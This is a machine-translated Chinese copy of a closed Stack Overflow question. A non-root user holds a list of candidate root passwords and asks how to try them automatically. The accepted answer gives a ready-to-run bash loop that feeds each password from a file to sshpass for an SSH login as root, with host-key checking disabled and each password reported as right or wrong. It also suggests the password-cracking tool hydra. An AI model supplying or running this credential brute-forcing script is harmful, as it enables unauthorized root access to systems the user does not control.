【问题标题】:Entering Password in su- through loop [closed]在 su- through 循环中输入密码 [关闭]
【发布时间】:2014-03-10 10:40:42
【问题描述】:

场景就像我有一个根密码列表。 但我不想继续手动尝试。 所以我写了shell脚本:

对于 {1..26} 中的 i

su - >>结果

完成

我所有的密码都在一个文件“attempt.txt”中。

现在在命令提示符下输入命令:

bash p2.sh

但它显示错误:“Standard in must be a tty”

那么有没有什么方法可以让我通过一些代码或命令输入这些密码,而无需手动输入其中的每一个? 请告诉命令行方法,而不是一些高级实用软件。我是来学习的。 谢谢:)

【问题讨论】:

  • 很明显你不是root
  • 你可以有一个窍门......你可以通过建立 ssh 连接来测试密码。要我为你设置 ssh 连接吗?
  • @MortezaLSC ..是的,这会很有帮助
  • @hek2mgl 好吧,我已经提到过……我不是 root,但我在一个文件中有几个 root 密码……其中一个确实有效……我想找到那个一个……就这么简单
  • 我给你答案

标签: bash loops ssh root su


【解决方案1】:

你可以通过循环ssh连接来测试密码:

#!/bin/bash

sshpass -f<filename> ssh -o 'StrictHostKeyChecking no' -p port user@ip

你应该在你的系统上安装sshpass

这肯定有效:

sshpass -p'password' ssh -o 'StrictHostKeyChecking no' -p 22  root@ip

试试这个肯定对你有帮助:

for pass in $(cat /path/to/pass)
do
   sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22  root@ip
done 

更新

所以如果你想得到漂亮的输出:

#!/bin/bash

for pass in $(cat /path/to/pass)
do
    echo -e "Reading $pass..."
    sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22  root@ip

    if [ "$?" -ne "0" ]; then
           echo -e "$pass is incorrect\n"
    elif [ "$?" -eq "0" ]; then 
           echo "SSH connection established with pass=$pass"
    fi
done 

您也可以使用hydra测试您的密码

【讨论】:

  • 你可以勾选答案..under upvote downvote你可以勾选它
  • btw sshpass 安装需要 root 权限...是否有一个完全不需要 root 权限的替代方案?
  • 哦,好吧,我会试试看...实际上我对 ssh 不太了解,这就是为什么我问...现在我将先学习 ssh 然后尝试它。非常感谢人:)
猜你喜欢
  • 2016-10-03
  • 2013-07-26
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多